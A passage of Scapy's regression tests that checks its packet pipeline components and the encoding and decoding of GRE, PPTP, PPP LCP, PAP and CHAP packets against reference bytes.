len(b.high_sinks) == 1 assert len(b.high_sources) == 1 a = AutoSource() b = AutoSource() a^b assert len(b.trigger_sources) == 1 assert len(a.trigger_sinks) == 1 = Test doc s = AutoSource() p = PipeEngine(s) p.list_pipes() p.list_pipes_detailed() = Test RawConsoleSink with CLIFeeder p = PipeEngine() s = CLIFeeder() s.send("hello") s.is_exhausted = True r, w = os.pipe() d1 = Drain(name="d1") c = RawConsoleSink(name="c") c._write_pipe = w s > d1 > c p.add(s) p.start() assert os.read(r, 20) == b"hello\n" p.wait_and_stop() = Test QueueSink with CLIFeeder p = PipeEngine() s = CLIFeeder() s.send("hello") s.is_exhausted = True d1 = Drain(name="d1") c = QueueSink(name="c") s > d1 > c p.add(s) p.start() p.wait_and_stop() assert c.recv() == "hello" assert c.recv(block=False) is None = Test UpDrain test_val = None class TestSink(Sink): def high_push(self, msg): global test_val test_val = msg p = PipeEngine() s = CLIFeeder() s.send("hello") s.is_exhausted = True d1 = UpDrain(name="d1") c = TestSink(name="c") s > d1 d1 >> c p.add(s) p.start() p.wait_and_stop() assert test_val == "hello" = Test DownDrain test_val = None class TestSink(Sink): def push(self, msg): global test_val test_val = msg p = PipeEngine() s = CLIHighFeeder() s.send("hello") s.is_exhausted = True d1 = DownDrain(name="d1") c = TestSink(name="c") s >> d1 d1 > c p.add(s) p.start() p.wait_and_stop() assert test_val == "hello" = Test PeriodicSource exhaustion s = PeriodicSource("", 1) s.msg = [] p = PipeEngine(s) p.start() p.wait_and_stop() + Advanced ScapyPipes pipetools tests = Test SniffSource import mock r, w = os.pipe() os.write(w, b"X") mocked_l2listen = mock.patch("scapy.config.conf.L2listen", return_value=Bunch(close=lambda *args: None, fileno=lambda: r, recv=lambda *args: Raw("data"))) mocked_l2listen.start() try: p = PipeEngine() s = SniffSource() assert s.s is None d1 = Drain(name="d1") c = QueueSink(name="c") s > d1 > c p.add(s) p.start() assert c.q.get(2) assert s.s is not None p.stop() finally: mocked_l2listen.stop() os.close(r) os.close(w) = Test SniffSource with socket r, w = os.pipe() os.write(w, b"X") class FakeSocket(object): def __init__(self): self.times = 0 def recv(self, x=None): if self.times > 2: return self.times += 1 return Raw(b'hello') def fileno(self): return r try: p = PipeEngine() s = SniffSource(socket=FakeSocket()) assert s.s is not None d = Drain() c = QueueSink() p.add(s > d > c) p.start() msg = c.q.get(timeout=1) p.stop() assert raw(msg) == b'hello' finally: os.close(r) os.close(w) = Test SniffSource with invalid args try: s = SniffSource(iface='eth0', socket='not a socket') except ValueError: pass else: # expected ValueError assert False = Test exhausted AutoSource and SniffSource import mock from scapy.error import Scapy_Exception def _fail(): raise Scapy_Exception() a = AutoSource() a._send = mock.MagicMock(side_effect=_fail) a._wake_up() try: a.deliver() except: pass s = SniffSource() s.s = mock.MagicMock() s.s.recv = mock.MagicMock(side_effect=_fail) try: s.deliver() except: pass = Test WiresharkSink ~ wiresharksink q = ObjectPipe() pkt = Ether(dst="aa:aa:aa:aa:aa:aa", src="bb:bb:bb:bb:bb:bb")/IP(dst="127.0.0.1", src="127.0.0.1")/ICMP() import mock with mock.patch("scapy.scapypipes.subprocess.Popen", return_value=Bunch(stdin=q)) as popen: sink = WiresharkSink() sink.start() sink.push(pkt) q.recv() q.recv() assert raw(pkt) in q.recv() popen.assert_called_once_with( [conf.prog.wireshark, '-Slki', '-'], stdin=subprocess.PIPE, stdout=None, stderr=None) = Test WiresharkSink with linktype ~ wiresharksink linktype = scapy.data.DLT_EN3MB q = ObjectPipe() pkt = Ether(dst="aa:aa:aa:aa:aa:aa", src="bb:bb:bb:bb:bb:bb")/IP(dst="127.0.0.1", src="127.0.0.1")/ICMP() import mock with mock.patch("scapy.scapypipes.subprocess.Popen", return_value=Bunch(stdin=q)) as popen: sink = WiresharkSink(linktype=linktype) sink.start() sink.push(pkt) chb(linktype) in q.recv() q.recv() assert raw(pkt) in q.recv() = Test WiresharkSink with args ~ wiresharksink linktype = scapy.data.DLT_EN3MB q = ObjectPipe() pkt = Ether(dst="aa:aa:aa:aa:aa:aa", src="bb:bb:bb:bb:bb:bb")/IP(dst="127.0.0.1", src="127.0.0.1")/ICMP() import mock with mock.patch("scapy.scapypipes.subprocess.Popen", return_value=Bunch(stdin=q)) as popen: sink = WiresharkSink(args=['-c', '1']) sink.start() sink.push(pkt) popen.assert_called_once_with( [conf.prog.wireshark, '-Slki', '-', '-c', '1'], stdin=subprocess.PIPE, stdout=None, stderr=None) = Test RdpcapSource and WrpcapSink dname = get_temp_dir() req = Ether(b'E\x00\x00\x1c\x00\x00\x00\x004\x01\x1d\x04\xd8:\xd0\x83\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') rpy = Ether(b'\x8c\xf8\x13C5P\xdcS`\xeb\x80H\x08\x00E\x00\x00\x1c\x00\x00\x00\x004\x01\x1d\x04\xd8:\xd0\x83\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') wrpcap(os.path.join(dname, "t.pcap"), [req, rpy]) p = PipeEngine() s = RdpcapSource(os.path.join(dname, "t.pcap")) d1 = Drain(name="d1") c = WrpcapSink(os.path.join(dname, "t2.pcap"), name="c") s > d1 > c p.add(s) p.start() p.wait_and_stop() results = rdpcap(os.path.join(dname, "t2.pcap")) assert raw(results[0]) == raw(req) assert raw(results[1]) == raw(rpy) os.unlink(os.path.join(dname, "t.pcap")) os.unlink(os.path.join(dname, "t2.pcap")) = Test InjectSink and Inject3Sink ~ needs_root import mock a = IP(dst="192.168.0.1")/ICMP() msgs = [] class FakeSocket(object): def __init__(self, *arg, **karg): pass def close(self): pass def send(self, msg): global msgs msgs.append(msg) @mock.patch("scapy.scapypipes.conf.L2socket", FakeSocket) @mock.patch("scapy.scapypipes.conf.L3socket", FakeSocket) def _inject_sink(i3): s = CLIFeeder() s.send(a) s.is_exhausted = True d1 = Drain(name="d1") c = Inject3Sink() if i3 else InjectSink() s > d1 > c p = PipeEngine(s) p.start() p.wait_and_stop() _inject_sink(False) # InjectSink _inject_sink(True) # Inject3Sink assert msgs == [a,a] = TriggerDrain and TriggeredValve with CLIFeeder s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredValve() c = QueueSink() s > d1 > d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredValve with CLIHighFeeder s = CLIHighFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredValve() c = QueueSink() s >> d1 d1 >> d2 d2 >> c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredQueueingValve with CLIFeeder s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredValve() c = QueueSink() s > d1 > d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredSwitch with CLIFeeder on high channel s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredSwitch() c = QueueSink() s > d1 > d2 d2 >> c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello2" p.stop() = TriggerDrain and TriggeredSwitch with CLIHighFeeder on low channel s = CLIHighFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredSwitch() c = QueueSink() s >> d1 d1 >> d2 d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredMessage s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredMessage("hello") c = QueueSink() s > d1 > d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("trigger") r = [c.q.get(timeout=5), c.q.get(timeout=5)] assert "hello" in r assert "trigger" in r p.stop() = TriggerDrain and TriggeredQueueingValve on low channel p = PipeEngine() s = CLIFeeder() r, w = os.pipe() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredQueueingValve() c = QueueSink(name="c") s > d1 > d2 > c d1 ^ d2 p.add(s) p.start() s.send("trigger") s.send("hello") s.send("trigger") assert c.q.get(timeout=3) == "trigger" assert c.q.get(timeout=3) in ['hello', 'trigger'] assert c.q.get(timeout=3) in ['hello', 'trigger'] assert d2.q.qsize() == 0 p.stop() = TriggerDrain and TriggeredQueueingValve on high channel p = PipeEngine() s = CLIHighFeeder() r, w = os.pipe() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredQueueingValve() c = QueueSink(name="c") s >> d1 >> d2 >> c d1 ^ d2 p.add(s) p.start() s.send("trigger") s.send("hello") s.send("trigger") assert c.q.get(timeout=3) == "trigger" assert c.q.get(timeout=3) == "hello" assert d2.q.qsize() == 0 p.stop() = UDPDrain p = PipeEngine() s = CLIFeeder() s2 = CLIHighFeeder() d1 = UDPDrain() c = QueueSink() s > d1 > c s2 >> d1 >> c p.add(s) p.add(s2) p.start() s.send(IP(src="127.0.0.1")/UDP()/DNS()) s2.send(DNS()) res = [c.q.get(timeout=2), c.q.get(timeout=2)] assert b'\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' in res res.remove(b'\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert DNS in res[0] and res[0][UDP].sport == 1234 p.stop() = FDSourceSink on a Bunch object fd = Bunch(write=lambda x: None, read=lambda: "hello", fileno=lambda: None) s = FDSourceSink(fd) d = Drain() c = QueueSink() s > d > c assert s.fileno() == None s.push("data") s.deliver() assert c.q.get(timeout=1) == "hello" = TCPConnectPipe networking test ~ networking needs_root p = PipeEngine() s = CLIFeeder() d1 = TCPConnectPipe(addr="www.google.com", port=80) c = QueueSink() s > d1 > c p.add(s) p.start() from scapy.layers.http import HTTPRequest, HTTP s.send(bytes(HTTP()/HTTPRequest(Host="www.google.com"))) result = c.q.get(timeout=10) p.stop() assert result.startswith(b"HTTP/1.1 200 OK") = Packet conversion (ConvertPipe) class PacketA(Packet): fields_desc = [LEShortField('foo', None)] class PacketB(Packet): fields_desc = [ShortField('bar', None)] def convert_to(self, other_cls, **kwargs): if other_cls is PacketA: return PacketA(foo=self.bar) return Packet.convert_to(self, other_cls, **kwargs) @classmethod def convert_packet(cls, pkt, **kwargs): if isinstance(pkt, PacketA): return cls(bar=pkt.foo) return Packet.convert_packet(pkt, **kwargs) p = PipeEngine() s = CLIFeeder() sh = CLIHighFeeder() c = ConvertPipe(low_type=PacketA) d = QueueSink() s > c > d sh >> c >> d p.add(s) p.start() # QueueSink puts all packets in the same queue, and this can race on Windows s.send(PacketB(bar=1234)) r0 = d.q.get(timeout=5) sh.send(PacketB(bar=1234)) r1 = d.q.get(timeout=5) p.stop() # Debug info r0, raw(r0) r1, raw(r1) assert raw(r0) == b'\xd2\x04' assert raw(r1) == b'\x04\xd2' assert isinstance(r0, PacketA) assert isinstance(r1, PacketB) # Try converting on high c.high_type = PacketB c.low_type = None p.start() s.send(PacketA(foo=1234)) r0 = d.q.get(timeout=5) sh.send(PacketA(foo=1234)) r1 = d.q.get(timeout=5) p.stop() r0, raw(r0) r1, raw(r1) assert raw(r0) == b'\xd2\x04' assert raw(r1) == b'\x04\xd2' assert isinstance(r0, PacketA) assert isinstance(r1, PacketB) scapy-2.4.4/test/pptp.uts000066400000000000000000001106211372370053500153450ustar00rootroot00000000000000############################## % PPTP Related regression tests ############################## + GRE Tests = Test IP/GRE v0 decoding ~ gre ip data = hex_bytes('45c00064000f0000ff2f1647c0a80c01c0a8170300000800') pkt = IP(data) assert GRE in pkt gre = pkt[GRE] assert gre.chksum_present == 0 assert gre.routing_present == 0 assert gre.key_present == 0 assert gre.seqnum_present == 0 assert gre.strict_route_source == 0 assert gre.recursion_control == 0 assert gre.flags == 0 assert gre.version == 0 assert gre.proto == 0x800 = Test IP/GRE v1 decoding with PPP LCP ~ gre ip pptp ppp lcp data = hex_bytes('4500003c18324000402f0e5a0a0000020a0000063001880b001c9bf500000000ff03'\ 'c021010100180206000000000304c2270506fbb8831007020802') pkt = IP(data) assert GRE_PPTP in pkt gre_pptp = pkt[GRE_PPTP] assert gre_pptp.chksum_present == 0 assert gre_pptp.routing_present == 0 assert gre_pptp.key_present == 1 assert gre_pptp.seqnum_present == 1 assert gre_pptp.strict_route_source == 0 assert gre_pptp.recursion_control == 0 assert gre_pptp.acknum_present == 0 assert gre_pptp.flags == 0 assert gre_pptp.version == 1 assert gre_pptp.proto == 0x880b assert gre_pptp.payload_len == 28 assert gre_pptp.call_id == 39925 assert gre_pptp.sequence_number == 0x0 assert HDLC in pkt assert PPP in pkt assert PPP_LCP_Configure in pkt = Test IP/GRE v1 encoding/decoding with PPP LCP Echo ~ gre ip pptp ppp hdlc lcp lcp_echo pkt = IP(src='192.168.0.1', dst='192.168.0.2') /\ GRE_PPTP(seqnum_present=1, acknum_present=1, sequence_number=47, ack_number=42) /\ HDLC() / PPP() / PPP_LCP_Echo(id=42, magic_number=4242, data='abcdef') pkt_data = raw(pkt) pkt_data_ref = hex_bytes('4500003600010000402ff944c0a80001c0a800023081880b001200000000002f000000'\ '2aff03c021092a000e00001092616263646566') assert (pkt_data == pkt_data_ref) pkt_decoded = IP(pkt_data_ref) assert IP in pkt assert GRE_PPTP in pkt assert HDLC in pkt assert PPP in pkt assert PPP_LCP_Echo in pkt assert pkt[IP].proto == 47 assert pkt[GRE_PPTP].chksum_present == 0 assert pkt[GRE_PPTP].routing_present == 0 assert pkt[GRE_PPTP].key_present == 1 assert pkt[GRE_PPTP].seqnum_present == 1 assert pkt[GRE_PPTP].acknum_present == 1 assert pkt[GRE_PPTP].sequence_number == 47 assert pkt[GRE_PPTP].ack_number == 42 assert pkt[PPP].proto == 0xc021 assert pkt[PPP_LCP_Echo].code == 9 assert pkt[PPP_LCP_Echo].id == 42 assert pkt[PPP_LCP_Echo].magic_number == 4242 assert pkt[PPP_LCP_Echo].data == b'abcdef' + PPP LCP Tests = Test LCP Echo Request / Reply ~ ppp lcp lcp_echo lcp_echo_request_data = hex_bytes('c021090700080000002a') lcp_echo_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=7, magic_number=77, data='defgh')) lcp_echo_request_pkt = PPP(lcp_echo_request_data) lcp_echo_reply_pkt = PPP(lcp_echo_reply_data) assert lcp_echo_reply_pkt.answers(lcp_echo_request_pkt) assert not lcp_echo_request_pkt.answers(lcp_echo_reply_pkt) lcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=3, magic_number=77)) lcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data) assert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt) lcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(id=7, magic_number=42)) lcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data) assert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt) = Test LCP Configure Request ~ ppp lcp lcp_configure magic_number conf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_Magic_Number_Option(magic_number=4242)]) conf_req_ref_data = hex_bytes('c021012a000a050600001092') assert raw(conf_req) == conf_req_ref_data conf_req_pkt = PPP(conf_req_ref_data) assert PPP_LCP_Configure in conf_req_pkt assert conf_req_pkt[PPP_LCP_Configure].code == 1 assert conf_req_pkt[PPP_LCP_Configure].id == 42 assert len(conf_req_pkt[PPP_LCP_Configure].options) == 1 assert isinstance(conf_req_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option) assert conf_req_pkt[PPP_LCP_Configure].options[0].magic_number == 4242 = Test LCP Configure Ack ~ ppp lcp lcp_configure lcp_configure_ack conf_ack = PPP() / PPP_LCP_Configure(code='Configure-Ack', id=42, options=[PPP_LCP_Magic_Number_Option(magic_number=4242)]) conf_ack_ref_data = hex_bytes('c021022a000a050600001092') assert (raw(conf_ack) == conf_ack_ref_data) conf_ack_pkt = PPP(conf_ack_ref_data) assert PPP_LCP_Configure in conf_ack_pkt assert conf_ack_pkt[PPP_LCP_Configure].code == 2 assert conf_ack_pkt[PPP_LCP_Configure].id == 42 assert len(conf_ack_pkt[PPP_LCP_Configure].options) == 1 assert isinstance(conf_ack_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option) assert conf_ack_pkt[PPP_LCP_Configure].options[0].magic_number == 4242 conf_req_pkt = PPP(hex_bytes('c021012a000a050600001092')) assert conf_ack_pkt.answers(conf_req_pkt) assert not conf_req_pkt.answers(conf_ack_pkt) = Test LCP Configure Nak ~ ppp lcp lcp_configure lcp_configure_nak lcp_mru_option lcp_accm_option conf_nak = PPP() / PPP_LCP_Configure(code='Configure-Nak', id=42, options=[PPP_LCP_MRU_Option(), PPP_LCP_ACCM_Option(accm=0xffff0000)]) conf_nak_ref_data = hex_bytes('c021032a000e010405dc0206ffff0000') assert(raw(conf_nak) == conf_nak_ref_data) conf_nak_pkt = PPP(conf_nak_ref_data) assert PPP_LCP_Configure in conf_nak_pkt assert conf_nak_pkt[PPP_LCP_Configure].code == 3 assert conf_nak_pkt[PPP_LCP_Configure].id == 42 assert len(conf_nak_pkt[PPP_LCP_Configure].options) == 2 assert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[0], PPP_LCP_MRU_Option) assert conf_nak_pkt[PPP_LCP_Configure].options[0].max_recv_unit == 1500 assert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[1], PPP_LCP_ACCM_Option) assert conf_nak_pkt[PPP_LCP_Configure].options[1].accm == 0xffff0000 conf_req_pkt = PPP(hex_bytes('c021012a000e010405dc0206ffff0000')) assert conf_nak_pkt.answers(conf_req_pkt) assert not conf_req_pkt.answers(conf_nak_pkt) = Test LCP Configure Reject ~ ppp lcp lcp_configure lcp_configure_reject conf_reject = PPP() / PPP_LCP_Configure(code='Configure-Reject', id=42, options=[PPP_LCP_Callback_Option(operation='Location identifier', message='test')]) conf_reject_ref_data = hex_bytes('c021042a000b0d070274657374') assert(raw(conf_reject) == conf_reject_ref_data) conf_reject_pkt = PPP(conf_reject_ref_data) assert PPP_LCP_Configure in conf_reject_pkt assert conf_reject_pkt[PPP_LCP_Configure].code == 4 assert conf_reject_pkt[PPP_LCP_Configure].id == 42 assert len(conf_reject_pkt[PPP_LCP_Configure].options) == 1 assert isinstance(conf_reject_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Callback_Option) assert conf_reject_pkt[PPP_LCP_Configure].options[0].operation == 2 assert conf_reject_pkt[PPP_LCP_Configure].options[0].message == b'test' conf_req_pkt = PPP(hex_bytes('c021012a000b0d070274657374')) assert conf_reject_pkt.answers(conf_req_pkt) assert not conf_req_pkt.answers(conf_reject_pkt) = Test LCP Configure options ~ ppp lcp lcp_configure conf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_MRU_Option(max_recv_unit=5000), PPP_LCP_ACCM_Option(accm=0xf0f0f0f0), PPP_LCP_Auth_Protocol_Option(), PPP_LCP_Quality_Protocol_Option(data='test'), PPP_LCP_Magic_Number_Option(magic_number=4242), PPP_LCP_Callback_Option(operation='Distinguished name',message='test')]) conf_req_ref_data = hex_bytes('c021012a0027010413880206f0f0f0f00304c0230408c025746573740506000010920d070474657374') assert(raw(conf_req) == conf_req_ref_data) conf_req_pkt = PPP(conf_req_ref_data) assert PPP_LCP_Configure in conf_req_pkt options = conf_req_pkt[PPP_LCP_Configure].options assert len(options) == 6 assert isinstance(options[0], PPP_LCP_MRU_Option) assert options[0].max_recv_unit == 5000 assert isinstance(options[1], PPP_LCP_ACCM_Option) assert options[1].accm == 0xf0f0f0f0 assert isinstance(options[2], PPP_LCP_Auth_Protocol_Option) assert options[2].auth_protocol == 0xc023 assert isinstance(options[3], PPP_LCP_Quality_Protocol_Option) assert options[3].quality_protocol == 0xc025 assert options[3].data == b'test' assert isinstance(options[4], PPP_LCP_Magic_Number_Option) assert options[4].magic_number == 4242 assert isinstance(options[5], PPP_LCP_Callback_Option) assert options[5].operation == 4 assert options[5].message == b'test' = Test LCP Auth option ~ ppp lcp lcp_configure pap = PPP_LCP_Auth_Protocol_Option() pap_ref_data = hex_bytes('0304c023') assert(raw(pap) == pap_ref_data) pap_pkt = PPP_LCP_Option(pap_ref_data) assert isinstance(pap_pkt, PPP_LCP_Auth_Protocol_Option) assert pap_pkt.auth_protocol == 0xc023 chap_sha1 = PPP_LCP_Auth_Protocol_Option(auth_protocol='Challenge-response authentication protocol', algorithm="SHA1") chap_sha1_ref_data = hex_bytes('0305c22306') assert raw(chap_sha1) == chap_sha1_ref_data chap_sha1_pkt = PPP_LCP_Option(chap_sha1_ref_data) assert isinstance(chap_sha1_pkt, PPP_LCP_Auth_Protocol_Option) assert chap_sha1_pkt.auth_protocol == 0xc223 assert chap_sha1_pkt.algorithm == 6 eap = PPP_LCP_Auth_Protocol_Option(auth_protocol='PPP Extensible authentication protocol', data='test') eap_ref_data = hex_bytes('0308c22774657374') assert raw(eap) == eap_ref_data eap_pkt = PPP_LCP_Option(eap_ref_data) assert isinstance(eap_pkt, PPP_LCP_Auth_Protocol_Option) assert eap_pkt.auth_protocol == 0xc227 assert eap_pkt.data == b'test' = Test LCP Code-Reject ~ ppp lcp lcp_code_reject code_reject = PPP() / PPP_LCP_Code_Reject(id=42, rejected_packet=PPP_LCP(code=42, id=7, data='unknown_data')) code_reject_ref_data = hex_bytes('c021072a00142a070010756e6b6e6f776e5f64617461') assert raw(code_reject) == code_reject_ref_data code_reject_pkt = PPP(code_reject_ref_data) assert PPP_LCP_Code_Reject in code_reject_pkt assert code_reject_pkt[PPP_LCP_Code_Reject].id == 42 assert isinstance(code_reject_pkt[PPP_LCP_Code_Reject].rejected_packet, PPP_LCP) assert code_reject[PPP_LCP_Code_Reject].rejected_packet.code == 42 assert code_reject[PPP_LCP_Code_Reject].rejected_packet.id == 7 assert code_reject[PPP_LCP_Code_Reject].rejected_packet.data == b'unknown_data' = Test LCP Protocol-Reject ~ ppp lcp lcp_protocol_reject protocol_reject = PPP() / PPP_LCP_Protocol_Reject(id=42, rejected_protocol=0x8039, rejected_information=Packet(hex_bytes('0305c22306'))) protocol_reject_ref_data = hex_bytes('c021082a000b80390305c22306') assert raw(protocol_reject) == protocol_reject_ref_data protocol_reject_pkt = PPP(protocol_reject_ref_data) assert PPP_LCP_Protocol_Reject in protocol_reject_pkt assert protocol_reject_pkt[PPP_LCP_Protocol_Reject].id == 42 assert protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_protocol == 0x8039 assert len(protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_information) == 5 = Test LCP Discard Request ~ ppp lcp lcp_discard_request discard_request = PPP() / PPP_LCP_Discard_Request(id=7, magic_number=4242, data='test') discard_request_ref_data = hex_bytes('c0210b07000c0000109274657374') assert raw(discard_request) == discard_request_ref_data discard_request_pkt = PPP(discard_request_ref_data) assert PPP_LCP_Discard_Request in discard_request_pkt assert discard_request_pkt[PPP_LCP_Discard_Request].id == 7 assert discard_request_pkt[PPP_LCP_Discard_Request].magic_number == 4242 assert discard_request_pkt[PPP_LCP_Discard_Request].data == b'test' = Test LCP Terminate-Request/Terminate-Ack ~ ppp lcp lcp_terminate terminate_request = PPP() / PPP_LCP_Terminate(id=7, data='test') terminate_request_ref_data = hex_bytes('c0210507000874657374') assert raw(terminate_request) == terminate_request_ref_data terminate_request_pkt = PPP(terminate_request_ref_data) assert PPP_LCP_Terminate in terminate_request_pkt assert terminate_request_pkt[PPP_LCP_Terminate].code == 5 assert terminate_request_pkt[PPP_LCP_Terminate].id == 7 assert terminate_request_pkt[PPP_LCP_Terminate].data == b'test' terminate_ack = PPP() / PPP_LCP_Terminate(code='Terminate-Ack', id=7) terminate_ack_ref_data = hex_bytes('c02106070004') assert raw(terminate_ack) == terminate_ack_ref_data terminate_ack_pkt = PPP(terminate_ack_ref_data) assert PPP_LCP_Terminate in terminate_ack_pkt assert terminate_ack_pkt[PPP_LCP_Terminate].code == 6 assert terminate_ack_pkt[PPP_LCP_Terminate].id == 7 assert terminate_ack_pkt.answers(terminate_request_pkt) assert not terminate_request_pkt.answers(terminate_ack_pkt) + PPP PAP Tests = Test PPP PAP Request ~ ppp pap pap_request pap_request = PPP() / PPP_PAP_Request(id=42, username='administrator', password='secret_password') pap_request_ref_data = hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264') assert raw(pap_request) == pap_request_ref_data pap_request_pkt = PPP(pap_request_ref_data) assert PPP_PAP_Request in pap_request_pkt assert pap_request_pkt[PPP_PAP_Request].code == 1 assert pap_request_pkt[PPP_PAP_Request].id == 42 assert pap_request_pkt[PPP_PAP_Request].username == b'administrator' assert pap_request_pkt[PPP_PAP_Request].password == b'secret_password' assert pap_request_pkt[PPP_PAP_Request].summary() in ['PAP-Request username=\'administrator\' password=\'secret_password\'', 'PAP-Request username=b\'administrator\' password=b\'secret_password\''] = Test PPP PAP Authenticate-Ack ~ ppp pap pap_response pap_ack pap_response = PPP() / PPP_PAP(code='Authenticate-Ack', id=42) pap_response_ref_data = hex_bytes('c023022a000500') assert raw(pap_response) == pap_response_ref_data pap_response_pkt = PPP(pap_response_ref_data) assert PPP_PAP_Response in pap_response_pkt assert pap_response_pkt[PPP_PAP_Response].code == 2 assert pap_response_pkt[PPP_PAP_Response].id == 42 assert pap_response_pkt[PPP_PAP_Response].msg_len == 0 assert pap_response_pkt[PPP_PAP_Response].message == b'' assert pap_response_pkt[PPP_PAP_Response].summary() == 'PAP-Ack' pap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264')) assert pap_response_pkt.answers(pap_request_pkt) assert not pap_request_pkt.answers(pap_response_pkt) = Test PPP PAP Authenticate-Nak ~ ppp pap pap_response pap_nak pap_response = PPP() / PPP_PAP(code=3, id=42, message='Bad password') pap_response_ref_data = hex_bytes('c023032a00110c4261642070617373776f7264') assert raw(pap_response) == pap_response_ref_data pap_response_pkt = PPP(pap_response_ref_data) assert PPP_PAP_Response in pap_response_pkt assert pap_response_pkt[PPP_PAP_Response].code == 3 assert pap_response_pkt[PPP_PAP_Response].id == 42 assert pap_response_pkt[PPP_PAP_Response].msg_len == len('Bad password') assert pap_response_pkt[PPP_PAP_Response].message == b'Bad password' assert pap_response_pkt[PPP_PAP_Response].summary() in ['PAP-Nak msg=\'Bad password\'', 'PAP-Nak msg=b\'Bad password\''] pap_request_pkt = PPP(hex_bytes('c023012a00220d61646d696e6973747261746f720f7365637265745f70617373776f7264')) assert pap_response_pkt.answers(pap_request_pkt) assert not pap_request_pkt.answers(pap_response_pkt) + PPP CHAP Tests = Test PPP CHAP Challenge ~ ppp chap chap_challenge chap_challenge = PPP() / PPP_CHAP(code=1, id=47, value=b'B' * 7, optional_name='server') chap_challenge_ref_data = hex_bytes('c223012f00120742424242424242736572766572') assert raw(chap_challenge) == chap_challenge_ref_data chap_challenge_pkt = PPP(chap_challenge_ref_data) assert PPP_CHAP_ChallengeResponse in chap_challenge_pkt assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].code == 1 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].id == 47 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value_size == 7 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].value == b'B' * 7 assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'server' assert chap_challenge_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP challenge=0x42424242424242 optional_name=\'server\'', 'CHAP challenge=0x42424242424242 optional_name=b\'server\''] = Test PPP CHAP Response ~ ppp chap chap_response chap_response = PPP() / PPP_CHAP(code='Response', id=47, value=b'\x00' * 16, optional_name='client') chap_response_ref_data = hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74') assert raw(chap_response) == chap_response_ref_data chap_response_pkt = PPP(chap_response_ref_data) assert PPP_CHAP_ChallengeResponse in chap_response_pkt assert chap_response_pkt[PPP_CHAP_ChallengeResponse].code == 2 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].id == 47 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].value_size == 16 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].value == b'\x00' * 16 assert chap_response_pkt[PPP_CHAP_ChallengeResponse].optional_name == b'client' assert chap_response_pkt[PPP_CHAP_ChallengeResponse].summary() in ['CHAP response=0x00000000000000000000000000000000 optional_name=\'client\'', 'CHAP response=0x00000000000000000000000000000000 optional_name=b\'client\''] chap_request = PPP(hex_bytes('c223012f00120742424242424242736572766572')) assert chap_response.answers(chap_challenge) assert not chap_challenge.answers(chap_response) = Test PPP CHAP Success ~ ppp chap chap_success chap_success = PPP() / PPP_CHAP(code='Success', id=47) chap_success_ref_data = hex_bytes('c223032f0004') assert 